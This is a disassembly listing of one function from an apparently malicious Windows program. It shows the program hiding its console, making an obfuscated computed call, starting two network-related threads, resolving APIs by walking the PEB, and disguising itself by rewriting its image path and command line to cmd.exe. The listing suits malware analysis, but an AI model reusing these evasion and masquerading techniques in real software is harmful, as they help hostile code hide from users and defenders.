Function at 0x140004080
Capabilities:
Create thread

Disassembly:
push rbx
push rdi
sub rsp, 0x88
mov rax, qword [0x14000c010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rdi, rdx
mov ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
cmp ebx, 4
jge 0x1400040e1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.you_are_losser__
call fcn.140005020
mov rcx, rax
lea rdx, [0x1400051f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x1400042fc
mov rcx, qword [rdi + 0x18]
mov qword [rsp + 0xa0], rbp
mov rbp, qword [rdi + 0x10]
mov qword [rsp + 0xb0], rsi
mov rsi, qword [rdi + 8]
mov qword [rsp + 0x80], r14
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
movsxd rcx, eax
lea rax, [0x140002fe0]
sub rax, 0x776e86
add rcx, rax
call rcx
lea rcx, [0x14000caf0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor r14d, r14d
lea r8, [0x140002de0]
mov qword [rsp + 0x28], r14
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x140004178
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateThread_failed_with_error:__ld_n
call fcn.140002800
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [rbx + 1]
jmp 0x1400042e4
mov qword [rsp + 0x28], r14
lea r9, [rsp + 0x30]
lea r8, [0x140003980]
mov dword [rsp + 0x20], r14d
xor edx, edx
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov qword [rsp + 0x38], rbp
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x1400041d5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateThread_failed_with_error:__ld_n
call fcn.140002800
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [rdi + 1]
jmp 0x1400042e4
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14000caf0]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rsi, qword gs:[0x60]
test rsi, rsi
je 0x140004255
mov rax, qword [rsi + 0x18]
mov rdi, qword [rax + 0x20]
mov rbx, rdi
nop
mov rcx, qword [rdi + 0x50]
lea rdx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x14000425a
mov rbx, qword [rbx]
mov rax, qword [rsi + 0x18]
mov rdi, qword [rbx]
cmp rbx, qword [rax + 0x20]
jne 0x140004230
mov rdi, r14
jmp 0x14000425e
mov rdi, qword [rdi + 0x20]
lea rdx, str.LoadLibraryA
mov rcx, rdi
call fcn.140005cf0
lea rdx, str.GetProcAddress
mov rcx, rdi
mov rbx, rax
call fcn.140005cf0
lea rcx, str.ntdll.dll
mov rdi, rax
call rbx
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], r14d
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x40]
mov rcx, rax
mov r9d, 0x30
xor edx, edx
call rbx
mov rax, qword [rsp + 0x48]
lea rdx, str.c:windows_system32cmd.exe
mov rcx, qword [rax + 0x20]
mov qword [rcx + 0x78], rdx
mov rax, qword [rsp + 0x48]
mov rcx, qword [rax + 0x20]
xor eax, eax
mov qword [rcx + 0x68], rdx
mov rsi, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0xa0]
mov r14, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140005ff0
add rsp, 0x88
pop rdi
pop rbx
ret